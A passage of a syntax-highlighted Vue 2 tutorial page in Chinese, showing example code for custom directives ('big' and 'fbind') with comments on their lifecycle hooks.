    input<span class="token punctuation">.</span>parentElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>backgroundColor <span class="token operator">=</span> <span class="token string">'skyblue'</span>
  <span class="token punctuation">}</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br><span class="line-number">21</span><br></div></div><div class="language-html line-numbers-mode"><pre class="language-html"><code><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>自定义指令<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>../js/vue.js<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>root<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">&gt;</span></span>{{ name }}<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">&gt;</span></span>当前的n值是：<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">v-text</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>n<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token comment">&lt;!-- &lt;h2&gt;放大10倍后的n值是：&lt;span v-big-number=&quot;n&quot;&gt;&lt;/span&gt; &lt;/h2&gt; --&gt;</span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">&gt;</span></span>放大10倍后的n值是：<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">v-big</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>n<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">@click</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>n++<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>点我n+1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>hr</span> <span class="token punctuation">/&gt;</span></span>
  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text<span class="token punctuation">&quot;</span></span> <span class="token attr-name"><span class="token namespace">v-fbind:</span>value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>n<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">&quot;</span>text/javascript<span class="token punctuation">&quot;</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
  Vue<span class="token punctuation">.</span>config<span class="token punctuation">.</span>productionTip <span class="token operator">=</span> <span class="token boolean">false</span>

  <span class="token comment">// 定义全局指令</span>
  <span class="token comment">/* Vue.directive('fbind',{
		// 指令与元素成功绑定时（一上来）
		bind(element,binding){
			element.value = binding.value
		},
		// 指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		// 指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	}) */</span>

  <span class="token keyword">new</span> <span class="token class-name">Vue</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
    <span class="token literal-property property">el</span><span class="token operator">:</span> <span class="token string">'#root'</span><span class="token punctuation">,</span>
    <span class="token literal-property property">data</span><span class="token operator">:</span> <span class="token punctuation">{</span>
      <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">'尚硅谷'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">n</span><span class="token operator">:</span> <span class="token number">1</span>
    <span class="token punctuation">}</span><span class="token punctuation">,</span>
    <span class="token literal-property property">directives</span><span class="token operator">:</span> <span class="token punctuation">{</span>
      <span class="token comment">// big函数何时会被调用？</span>
      <span class="token comment">// 1.指令与元素成功绑定时（一上来） 2.指令所在的模板被重新解析时</span>
      <span class="token comment">/* 'big-number'(element,binding){
				// console.log('big')
				element.innerText = binding.value * 10
			}, */</span>
      <span class="token function">big</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'big'</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span> <span class="token comment">// 🔴注意此处的 this 是 window</span>
        <span class="token comment">// console.log('big')</span>
        element<span class="token punctuation">.</span>innerText <span class="token operator">=</span> binding<span class="token punctuation">.</span>value <span class="token operator">*</span> <span class="token number">10</span>
      <span class="token punctuation">}</span><span class="token punctuation">,</span>
      <span class="token literal-property property">fbind</span><span class="token operator">:</span> <span class="token punctuation">{</span>
        <span class="token comment">// 指令与元素成功绑定时（一上来）</span>
        <span class="token function">bind</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
          element<span class="token punctuation">.</span>value <span class="token operator">=</span> binding<span class="token punctuation">.</span>value
        <span class="token punctuation">}</span><span class="token punctuation">,</span>
        <span class="token comment">// 指令所在元素被插入页面时</span>
        <span class="token function">inserted</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
          element<span class="token punctuation">.</span><span class="token function">focus</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
        <span class="token punctuation">}</span><span class="token punctuation">,</span>
        <span class="token comment">// 指令所在的模板被重新解析时</span>
        <span class="token function">update</span><span class="token punctuation">(</span><span class="token parameter">element<span class="token punctuation">,</span> binding</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
          element<span class="token punctuation">.</span>value <span class="token operator">=</span> binding<span class="token punctuation">.</span>value
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
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